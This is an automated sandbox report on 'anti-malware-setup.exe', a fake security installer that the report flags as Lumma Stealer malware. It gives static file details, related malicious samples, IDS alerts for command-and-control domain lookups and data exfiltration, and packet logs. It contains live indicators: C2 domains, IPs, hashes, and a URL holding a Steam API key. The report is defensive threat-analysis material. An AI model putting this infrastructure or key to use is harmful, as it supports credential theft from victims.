Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 13s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	anti-malware-setup.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/0@13/2
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 88% Number of executed functions: 33 Number of non-executed functions: 113
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 13.107.246.45, 4.175.87.197, 20.3.187.198, 20.109.210.53, 20.12.23.50
Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target anti-malware-setup.exe, PID 4996 because there are no executed function
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
05:34:27	API Interceptor	11x Sleep call for process: BitLockerToGo.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.48.1	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	twirpx.org/administrator/index.php
104.21.48.1	SN500, SN150 Spec.exe	Get hash	malicious	FormBook	Browse	www.antipromil.site/7ykh/
104.102.49.254	r4xiHKy8aM.exe	Get hash	malicious	Socks5Systemz	Browse	/ISteamUser/GetFriendList/v1/?key=AE2AE4DBF33A541E83BC08989DB1F397&steamid=76561198400860497
104.102.49.254	http://gtm-cn-j4g3qqvf603.steamproxy1.com/	Get hash	malicious	Unknown	Browse	www.valvesoftware.com/legal.htm

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
sputnik-1985.com	appFile.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.80.1
	[UPD]Intel_Unit.2.1.exe	Get hash	malicious	LummaC	Browse	104.21.64.1
	Installer.exe	Get hash	malicious	LummaC, PureLog Stealer	Browse	104.21.96.1
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
	BnJxmraqlk.exe	Get hash	malicious	LummaC, PrivateLoader	Browse	104.21.48.1
	file.exe	Get hash	malicious	Amadey, Babadeda, LummaC Stealer, Poverty Stealer, PureLog Stealer	Browse	104.21.96.1
	NjFiIQNSid.exe	Get hash	malicious	LummaC	Browse	104.21.112.1
steamcommunity.com	appFile.exe	Get hash	malicious	LummaC Stealer	Browse	104.102.49.254
	cache_registerer.exe	Get hash	malicious	LummaC Stealer	Browse	104.102.49.254
	Invoice.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	NvOxePa.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	h3VYJaQqI9.exe	Get hash	malicious	LummaC Stealer	Browse	104.102.49.254
	P2V7Mr3DUF.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	v3tb7mqP48.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	asd.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	[UPD]Intel_Unit.2.1.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	socolo.exe	Get hash	malicious	LummaC	Browse	104.102.49.254

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://we.tl/t-fnebgmrnYQ	Get hash	malicious	Unknown	Browse	104.26.0.90
	appFile.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.80.1
	Undelivered Messages.htm	Get hash	malicious	Unknown	Browse	104.21.84.200
	driver.exe	Get hash	malicious	Blank Grabber	Browse	162.159.137.232
	XClient.exe	Get hash	malicious	XWorm	Browse	104.20.4.235
	http://www.efnhdh.blogspot.mk/	Get hash	malicious	GRQ Scam	Browse	172.67.12.83
	gem1.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.12.205
	http://pdfdrive.com.co	Get hash	malicious	Unknown	Browse	104.21.11.245
	RFQ SHEETS PX2 MULE25 SHENZHEN LUCKY.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	104.21.80.1
	https://ctrk.klclick3.com/l/01JGXREPA9AKCFABSME4GFWDDZ_0#YWxhaW5femllZ2xlckB6aWVnbGVyZ3JvdXAuY29t	Get hash	malicious	Unknown	Browse	172.66.43.95
AKAMAI-ASUS	appFile.exe	Get hash	malicious	LummaC Stealer	Browse	104.102.49.254
	cache_registerer.exe	Get hash	malicious	LummaC Stealer	Browse	104.102.49.254
	armv5l.elf	Get hash	malicious	Unknown	Browse	23.209.153.127
	http://postman.com/	Get hash	malicious	Unknown	Browse	104.102.43.106
	https://sanctionssearch.ofac.treas.gov	Get hash	malicious	Unknown	Browse	23.49.251.37
	Fantazy.ppc.elf	Get hash	malicious	Unknown	Browse	104.81.98.224
	Fantazy.x86.elf	Get hash	malicious	Unknown	Browse	184.28.181.149
	6.elf	Get hash	malicious	Unknown	Browse	2.16.79.96
	Invoice.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	Fantazy.i486.elf	Get hash	malicious	Unknown	Browse	104.73.204.147

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	appFile.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.48.1 104.102.49.254
	cache_registerer.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.48.1 104.102.49.254
	CY SEC AUDIT PLAN 2025.docx.doc	Get hash	malicious	Unknown	Browse	104.21.48.1 104.102.49.254
	PO#3_RKG367.bat	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	104.21.48.1 104.102.49.254
	Invoice.exe	Get hash	malicious	LummaC	Browse	104.21.48.1 104.102.49.254
	24EPV9vjc5.exe	Get hash	malicious	Unknown	Browse	104.21.48.1 104.102.49.254
	kXzODlqJak.exe	Get hash	malicious	Unknown	Browse	104.21.48.1 104.102.49.254
	24EPV9vjc5.exe	Get hash	malicious	Unknown	Browse	104.21.48.1 104.102.49.254
	kXzODlqJak.exe	Get hash	malicious	Unknown	Browse	104.21.48.1 104.102.49.254
	cLm7ThwEvh.msi	Get hash	malicious	Unknown	Browse	104.21.48.1 104.102.49.254

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.329736355393688
TrID:	Win32 Executable (generic) a (10002005/4) 99.53% InstallShield setup (43055/19) 0.43% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	anti-malware-setup.exe
File size:	4'063'744 bytes
MD5:	fedb69af5de74d46366ad0570e77d9ac
SHA1:	a85c8c91780e9366fafc2aba2d13e5b3a49c37ba
SHA256:	61316bc78fb84aaa2d5fd1e10aec9a8cf96ab5ac7ee1436048eb7fd199045310
SHA512:	1aa337e9aaaaa51651398fb5996356241c818bc6851139769577eb91d332d868edc0b6a53d029efe72f0b74f83551fb3f826d016170c3418b9a8fbfbe668caed
SSDEEP:	49152:Qx0uAJAxX0YdindluiIoFcr/sy/sdHEVjUaw7QNwZ/cKP93:XuA6nUCoFwwg4/cKF
TLSH:	2C161741FACB84F5D9031830515B623B97325E058B28DB9BFA1C7F5AEB7B6924C33249
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........Z=.........................0.........:...@...........................@.....).>...@................................

File Icon


Icon Hash:	0e13696d692f0f0c

Static PE Info

General

Entrypoint:	0x461830
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x0 [Thu Jan 1 00:00:00 1970 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	1
File Version Major:	6
File Version Minor:	1
Subsystem Version Major:	6
Subsystem Version Minor:	1
Import Hash:	1aae8bf580c846f39c71c05898e57e88

Entrypoint Preview

Instruction
jmp 00007F4D188B4D70h
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
sub esp, 28h
mov dword ptr [esp+1Ch], ebx
mov dword ptr [esp+10h], ebp
mov dword ptr [esp+14h], esi
mov dword ptr [esp+18h], edi
mov dword ptr [esp], eax
mov dword ptr [esp+04h], ecx
call 00007F4D18895BD6h
mov eax, dword ptr [esp+08h]
mov edi, dword ptr [esp+18h]
mov esi, dword ptr [esp+14h]
mov ebp, dword ptr [esp+10h]
mov ebx, dword ptr [esp+1Ch]
add esp, 28h
retn 0004h
ret
int3
int3
int3
int3
int3
int3
sub esp, 08h
mov ecx, dword ptr [esp+0Ch]
mov edx, dword ptr [ecx]
mov eax, esp
mov dword ptr [edx+04h], eax
sub eax, 00010000h
mov dword ptr [edx], eax
add eax, 000013A0h
mov dword ptr [edx+08h], eax
mov dword ptr [edx+0Ch], eax
lea edi, dword ptr [ecx+34h]
mov dword ptr [edx+18h], ecx
mov dword ptr [edi], edx
mov dword ptr [esp+04h], edi
call 00007F4D188B71D4h
cld
call 00007F4D188B625Eh
call 00007F4D188B4E99h
add esp, 08h
ret
jmp 00007F4D188B7080h
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov ebx, dword ptr [esp+04h]
mov ebp, esp
mov dword ptr fs:[00000034h], 00000000h
mov ecx, dword ptr [ebx+04h]
cmp ecx, 00000000h
je 00007F4D188B7081h
mov eax, ecx
shl eax, 02h
sub esp, eax
mov edi, esp
mov esi, dword ptr [ebx+08h]
cld
rep movsd

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3e9000	0x44c	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x400000	0xa5dc	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x3ea000	0x14e80	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x3ad2e0	0xb4	.data
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1cc918	0x1cca00	de7919e62c57418dbfd09999ffb8ab32	False	0.4105156037991859	data	6.046129796006456	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x1ce000	0x1de794	0x1de800	7ead1eaaa1a7c1de7ff49f5121c20d16	False	0.48508318638975967	data	5.977428201341314	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3ad000	0x3b900	0x14e00	74c2e046786ffbea65358fe81a52647b	False	0.46813014595808383	data	5.004101632891957	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x3e9000	0x44c	0x600	d5b1e111c6227f21350bf56fac3ad0ae	False	0.359375	OpenPGP Public Key	3.876341617407367	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x3ea000	0x14e80	0x15000	af44cc9ea4a77f0206e8e5757b869a74	False	0.5860770089285714	data	6.592979947748528	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.symtab	0x3ff000	0x4	0x200	07b5472d347d42780469fb2654b7fc54	False	0.02734375	data	0.020393135236084953	IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.rsrc	0x400000	0xa5dc	0xa600	6558ffbc3772c7a56bf2d0ef24c9158c	False	0.4422769201807229	data	5.698282689540848	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x4002c4	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	United States	0.7437943262411347
RT_ICON	0x40072c	0x6b8	Device independent bitmap graphic, 20 x 40 x 32, image size 0	English	United States	0.7930232558139535
RT_ICON	0x400de4	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	English	United States	0.5868852459016394
RT_ICON	0x40176c	0xb20	Device independent bitmap graphic, 26 x 52 x 32, image size 0	English	United States	0.7124297752808989
RT_ICON	0x40228c	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	United States	0.5173545966228893
RT_ICON	0x403334	0x1348	Device independent bitmap graphic, 34 x 68 x 32, image size 0	English	United States	0.5790113452188006
RT_ICON	0x40467c	0x1588	Device independent bitmap graphic, 36 x 72 x 32, image size 0	English	United States	0.2260522496371553
RT_ICON	0x405c04	0x1a68	Device independent bitmap graphic, 40 x 80 x 32, image size 0	English	United States	0.38772189349112424
RT_ICON	0x40766c	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	United States	0.37935684647302903
RT_GROUP_ICON	0x409c14	0x84	data	English	United States	0.7045454545454546
RT_VERSION	0x409c98	0x318	data			0.45580808080808083
RT_MANIFEST	0x409fb0	0x62c	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.4240506329113924

Imports

DLL

Import

kernel32.dll

WriteFile, WriteConsoleW, WerSetFlags, WerGetFlags, WaitForMultipleObjects, WaitForSingleObject, VirtualQuery, VirtualFree, VirtualAlloc, TlsAlloc, SwitchToThread, SuspendThread, SetWaitableTimer, SetUnhandledExceptionFilter, SetProcessPriorityBoost, SetEvent, SetErrorMode, SetConsoleCtrlHandler, ResumeThread, RaiseFailFastException, PostQueuedCompletionStatus, LoadLibraryW, LoadLibraryExW, SetThreadContext, GetThreadContext, GetSystemInfo, GetSystemDirectoryA, GetStdHandle, GetQueuedCompletionStatusEx, GetProcessAffinityMask, GetProcAddress, GetErrorMode, GetEnvironmentStringsW, GetCurrentThreadId, GetConsoleMode, FreeEnvironmentStringsW, ExitProcess, DuplicateHandle, CreateWaitableTimerExW, CreateThread, CreateIoCompletionPort, CreateEventA, CloseHandle, AddVectoredExceptionHandler

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T11:34:27.592980+0100	2058608	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (enterwahsh .biz)	1	192.168.2.5	49919	1.1.1.1	53	UDP
2025-01-10T11:34:27.613414+0100	2058514	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (wordyfindy .lat)	1	192.168.2.5	51023	1.1.1.1	53	UDP
2025-01-10T11:34:27.623847+0100	2058502	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (slipperyloo .lat)	1	192.168.2.5	63976	1.1.1.1	53	UDP
2025-01-10T11:34:27.636200+0100	2058492	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (manyrestro .lat)	1	192.168.2.5	65283	1.1.1.1	53	UDP
2025-01-10T11:34:27.646656+0100	2058500	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (shapestickyr .lat)	1	192.168.2.5	57991	1.1.1.1	53	UDP
2025-01-10T11:34:27.658561+0100	2058510	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (talkynicer .lat)	1	192.168.2.5	57035	1.1.1.1	53	UDP
2025-01-10T11:34:27.673815+0100	2058484	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (curverpluch .lat)	1	192.168.2.5	58483	1.1.1.1	53	UDP
2025-01-10T11:34:27.684905+0100	2058512	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (tentabatte .lat)	1	192.168.2.5	50267	1.1.1.1	53	UDP
2025-01-10T11:34:27.695225+0100	2058480	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bashfulacid .lat)	1	192.168.2.5	55149	1.1.1.1	53	UDP
2025-01-10T11:34:28.390611+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49770	104.102.49.254	443	TCP
2025-01-10T11:34:28.908331+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.5	49770	104.102.49.254	443	TCP
2025-01-10T11:34:29.481329+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49780	104.21.48.1	443	TCP
2025-01-10T11:34:29.915029+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49780	104.21.48.1	443	TCP
2025-01-10T11:34:29.915029+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49780	104.21.48.1	443	TCP
2025-01-10T11:34:30.467471+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49787	104.21.48.1	443	TCP
2025-01-10T11:34:30.952361+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49787	104.21.48.1	443	TCP
2025-01-10T11:34:30.952361+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49787	104.21.48.1	443	TCP
2025-01-10T11:34:31.736399+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49796	104.21.48.1	443	TCP
2025-01-10T11:34:33.191826+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49805	104.21.48.1	443	TCP
2025-01-10T11:34:34.476499+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	61984	104.21.48.1	443	TCP
2025-01-10T11:34:35.105358+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	61984	104.21.48.1	443	TCP
2025-01-10T11:34:37.015416+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	62001	104.21.48.1	443	TCP
2025-01-10T11:34:39.107891+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	62017	104.21.48.1	443	TCP
2025-01-10T11:34:40.315230+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	62024	104.21.48.1	443	TCP
2025-01-10T11:34:40.780403+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	62024	104.21.48.1	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 11:34:27.734096050 CET	49770	443	192.168.2.5	104.102.49.254
Jan 10, 2025 11:34:27.734148026 CET	443	49770	104.102.49.254	192.168.2.5
Jan 10, 2025 11:34:27.734226942 CET	49770	443	192.168.2.5	104.102.49.254
Jan 10, 2025 11:34:27.735517979 CET	49770	443	192.168.2.5	104.102.49.254
Jan 10, 2025 11:34:27.735539913 CET	443	49770	104.102.49.254	192.168.2.5
Jan 10, 2025 11:34:28.390510082 CET	443	49770	104.102.49.254	192.168.2.5
Jan 10, 2025 11:34:28.390610933 CET	49770	443	192.168.2.5	104.102.49.254
Jan 10, 2025 11:34:28.395000935 CET	49770	443	192.168.2.5	104.102.49.254
Jan 10, 2025 11:34:28.395030975 CET	443	49770	104.102.49.254	192.168.2.5
Jan 10, 2025 11:34:28.395339012 CET	443	49770	104.102.49.254	192.168.2.5
Jan 10, 2025 11:34:28.449297905 CET	49770	443	192.168.2.5	104.102.49.254
Jan 10, 2025 11:34:28.450756073 CET	49770	443	192.168.2.5	104.102.49.254
Jan 10, 2025 11:34:28.491326094 CET	443	49770	104.102.49.254	192.168.2.5
Jan 10, 2025 11:34:28.908375978 CET	443	49770	104.102.49.254	192.168.2.5
Jan 10, 2025 11:34:28.908401966 CET	443	49770	104.102.49.254	192.168.2.5
Jan 10, 2025 11:34:28.908409119 CET	443	49770	104.102.49.254	192.168.2.5
Jan 10, 2025 11:34:28.908442020 CET	443	49770	104.102.49.254	192.168.2.5
Jan 10, 2025 11:34:28.908443928 CET	49770	443	192.168.2.5	104.102.49.254
Jan 10, 2025 11:34:28.908461094 CET	443	49770	104.102.49.254	192.168.2.5
Jan 10, 2025 11:34:28.908504963 CET	443	49770	104.102.49.254	192.168.2.5
Jan 10, 2025 11:34:28.908540964 CET	49770	443	192.168.2.5	104.102.49.254
Jan 10, 2025 11:34:28.908540964 CET	49770	443	192.168.2.5	104.102.49.254
Jan 10, 2025 11:34:28.908540964 CET	49770	443	192.168.2.5	104.102.49.254
Jan 10, 2025 11:34:28.908581018 CET	49770	443	192.168.2.5	104.102.49.254
Jan 10, 2025 11:34:28.983859062 CET	443	49770	104.102.49.254	192.168.2.5
Jan 10, 2025 11:34:28.983925104 CET	443	49770	104.102.49.254	192.168.2.5
Jan 10, 2025 11:34:28.983959913 CET	49770	443	192.168.2.5	104.102.49.254
Jan 10, 2025 11:34:28.983989954 CET	443	49770	104.102.49.254	192.168.2.5
Jan 10, 2025 11:34:28.984020948 CET	49770	443	192.168.2.5	104.102.49.254
Jan 10, 2025 11:34:28.984044075 CET	49770	443	192.168.2.5	104.102.49.254
Jan 10, 2025 11:34:28.986268044 CET	443	49770	104.102.49.254	192.168.2.5
Jan 10, 2025 11:34:28.986335039 CET	49770	443	192.168.2.5	104.102.49.254
Jan 10, 2025 11:34:28.986367941 CET	443	49770	104.102.49.254	192.168.2.5
Jan 10, 2025 11:34:28.986530066 CET	443	49770	104.102.49.254	192.168.2.5
Jan 10, 2025 11:34:28.986587048 CET	49770	443	192.168.2.5	104.102.49.254
Jan 10, 2025 11:34:28.987337112 CET	49770	443	192.168.2.5	104.102.49.254
Jan 10, 2025 11:34:28.987337112 CET	49770	443	192.168.2.5	104.102.49.254
Jan 10, 2025 11:34:28.987371922 CET	443	49770	104.102.49.254	192.168.2.5
Jan 10, 2025 11:34:28.987396955 CET	443	49770	104.102.49.254	192.168.2.5
Jan 10, 2025 11:34:29.020744085 CET	49780	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:29.020756960 CET	443	49780	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:29.020827055 CET	49780	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:29.021100998 CET	49780	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:29.021112919 CET	443	49780	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:29.481199980 CET	443	49780	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:29.481328964 CET	49780	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:29.482923031 CET	49780	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:29.482938051 CET	443	49780	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:29.483196020 CET	443	49780	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:29.486136913 CET	49780	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:29.486155033 CET	49780	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:29.486361027 CET	443	49780	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:29.914911985 CET	443	49780	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:29.915000916 CET	443	49780	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:29.915062904 CET	49780	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:29.915772915 CET	49780	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:29.915801048 CET	443	49780	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:29.915813923 CET	49780	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:29.915821075 CET	443	49780	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:30.009974003 CET	49787	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:30.010071039 CET	443	49787	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:30.010154009 CET	49787	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:30.010540009 CET	49787	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:30.010584116 CET	443	49787	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:30.467406034 CET	443	49787	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:30.467470884 CET	49787	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:30.468679905 CET	49787	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:30.468688011 CET	443	49787	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:30.469008923 CET	443	49787	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:30.470288038 CET	49787	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:30.470331907 CET	49787	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:30.470377922 CET	443	49787	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:30.952373028 CET	443	49787	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:30.952436924 CET	443	49787	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:30.952477932 CET	443	49787	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:30.952517986 CET	443	49787	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:30.952517033 CET	49787	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:30.952538013 CET	443	49787	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:30.952552080 CET	49787	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:30.952955961 CET	443	49787	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:30.953001022 CET	49787	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:30.953006983 CET	443	49787	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:30.953269005 CET	443	49787	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:30.953309059 CET	49787	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:30.953314066 CET	443	49787	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:30.953660965 CET	443	49787	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:30.953706980 CET	49787	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:30.953713894 CET	443	49787	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:30.957160950 CET	443	49787	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:30.957201958 CET	49787	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:30.957210064 CET	443	49787	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:31.011881113 CET	49787	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:31.039042950 CET	443	49787	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:31.039167881 CET	443	49787	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:31.039257050 CET	49787	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:31.039503098 CET	49787	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:31.039503098 CET	49787	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:31.039520025 CET	443	49787	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:31.039530039 CET	443	49787	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:31.268440008 CET	49796	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:31.268471956 CET	443	49796	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:31.268645048 CET	49796	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:31.268877983 CET	49796	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:31.268893957 CET	443	49796	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:31.736331940 CET	443	49796	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:31.736398935 CET	49796	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:31.737647057 CET	49796	443	192.168.2.5	104.21.48.1
Jan 10, 2025 11:34:31.737654924 CET	443	49796	104.21.48.1	192.168.2.5
Jan 10, 2025 11:34:31.737900019 CET	443	49796	104.21.48.1	192.168.2.5
